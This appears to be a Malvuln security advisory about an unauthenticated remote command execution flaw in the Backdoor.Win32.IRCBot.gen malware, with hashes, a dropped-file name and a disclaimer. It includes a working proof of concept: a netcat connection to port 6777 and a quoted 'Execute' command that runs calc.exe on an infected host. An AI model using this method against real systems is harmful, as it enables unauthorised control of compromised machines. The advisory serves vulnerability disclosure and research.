Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.IRCBot.gen  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 6777. Third-party attackers who can reach infected systems can execute commands. Commands must be wrapped in quotes or it will fail.  
Execute calc.exe  
execution failed  
Execute "calc.exe"  
file executed  
Type: PE32  
MD5: 96f5cdfa5b3416c819d76060f11dc88d  
Vuln ID: MVID-2021-0300  
Dropped files: WINEXP.EXE  
Disclosure: 07/18/2021  
nc64.exe x.x.x.x 6777  
psychward final, ready for action  
Execute "calc.exe"  
file executed  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).